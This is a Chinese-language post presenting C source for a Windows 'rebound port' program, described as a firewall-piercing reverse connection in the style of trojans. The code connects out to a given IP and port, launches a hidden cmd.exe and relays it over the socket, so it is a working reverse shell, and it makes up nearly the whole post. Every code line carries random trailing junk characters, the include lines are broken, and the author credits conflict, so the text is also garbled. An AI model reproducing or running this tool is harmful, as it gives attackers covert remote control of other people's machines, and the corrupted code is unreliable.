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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W20qn>{z  
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/* ============================== ^9_4#Ep(  
Rebound port in Windows NT tJ 3Hg8;  
By wind,2006/7 3lh^maQ]  
===============================*/ L0^rw|Z%'  
#include Nw3K@ Ge  
#include b=87k  
9nGS"E l{  
#pragma comment(lib,"wsock32.lib") G q&[T:  
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void OutputShell(); BYuoeN!  
SOCKET sClient; ^RIDC/B=V6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,ma4bqRMc  
!tuN_  
void main(int argc,char **argv) rlRRGJ\l  
{ ;\mTm;]G  
WSADATA stWsaData; %DQ!#Nl*  
int nRet; %f-Uwq&}Y"  
SOCKADDR_IN stSaiClient,stSaiServer; qI= j>x  
w^EUBRI-  
if(argc != 3) ]=ubl!0=:  
{ S+*%u/;l  
printf("Useage:\n\rRebound DestIP DestPort\n"); m)\wbkC  
return; =NNA7E7c  
} XYrZI/R  
|'+ [ '  
WSAStartup(MAKEWORD(2,2),&stWsaData); rCH? R   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *K#Ci1Q  
"e;wN3/bF  
stSaiClient.sin_family = AF_INET; zZE@:P&lf  
stSaiClient.sin_port = htons(0); 8+|7*Ud  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !'5t(Zw5  
c}u`L6!I3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K lbUs\E  
{ _N1UL?  
printf("Bind Socket Failed!\n"); TGuvyY  
return; FfSKE  
} L"x9O'U  
h*lU&8)m\  
stSaiServer.sin_family = AF_INET; uP.[,V0@^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zNh$d;(O$^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .dw;b~p  
:k&5Z`>)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _GtG8ebr  
{ lm[LDtc  
printf("Connect Error!"); vVfIe5+OP  
return; -. J@  
} n&fV^ x  
OutputShell(); <&m `)FJ  
} {8im{]8_  
J_@`:l0,z  
void OutputShell() ;p8,=w  
{ Y'9<fSn5&  
char szBuff[1024]; =N?K)QD`  
SECURITY_ATTRIBUTES stSecurityAttributes; ;n2b$MB?nM  
OSVERSIONINFO stOsversionInfo; tj< 0q<is  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p+.{"%  
STARTUPINFO stStartupInfo; 6>e YG <y{  
char *szShell; {)y8Y9G  
PROCESS_INFORMATION stProcessInformation; F#>^S9Gml  
unsigned long lBytesRead; {!av3Pz\  
=JDa[_lpN  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s9 .nU  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2E/yZ ~2s  
stSecurityAttributes.lpSecurityDescriptor = 0; P$hmDTn72  
stSecurityAttributes.bInheritHandle = TRUE; *{%d{x}l  
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wf&1,t3Bgn  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <1XJa2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nep-?7x  
2nv-/ %]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #Py\'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y^tp^  
stStartupInfo.wShowWindow = SW_HIDE; \?K>~{)  
stStartupInfo.hStdInput = hReadPipe; 5Vu@gRk_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; A6AIkKjzq  
ffibS0aM  
GetVersionEx(&stOsversionInfo); `7o(CcF6H  
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switch(stOsversionInfo.dwPlatformId) )u}MyFl.  
{ 1}DUe. a  
case 1: >G<.^~o  
szShell = "command.com"; ,].S~6IM  
break; 1v"r8=Wt  
default: \*x=q20  
szShell = "cmd.exe"; R3!3TJ  
break; &-B&s.,kj  
} P%^\<#Ya7  
(.J8Q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m=e#1Hs   
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send(sClient,szMsg,77,0); 63Dm{ 2i}F  
while(1) N^U<;O?YDW  
{ $P7G,0-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I]B[H6  
if(lBytesRead) 0ofl,mXW  
{ cd?arIV5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z`97=:W  
send(sClient,szBuff,lBytesRead,0); QU%'z/dip  
} vp#r :+=  
else +E-f  
{ j[q$;uSD  
lBytesRead=recv(sClient,szBuff,1024,0); @ZFU< e$!  
if(lBytesRead<=0) break; NX5NE2@^qH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uom~, k$|  
} /ar/4\b  
} _!'sj=n]q  
4}>1I}!k  
return; \&)k{P>=  
}
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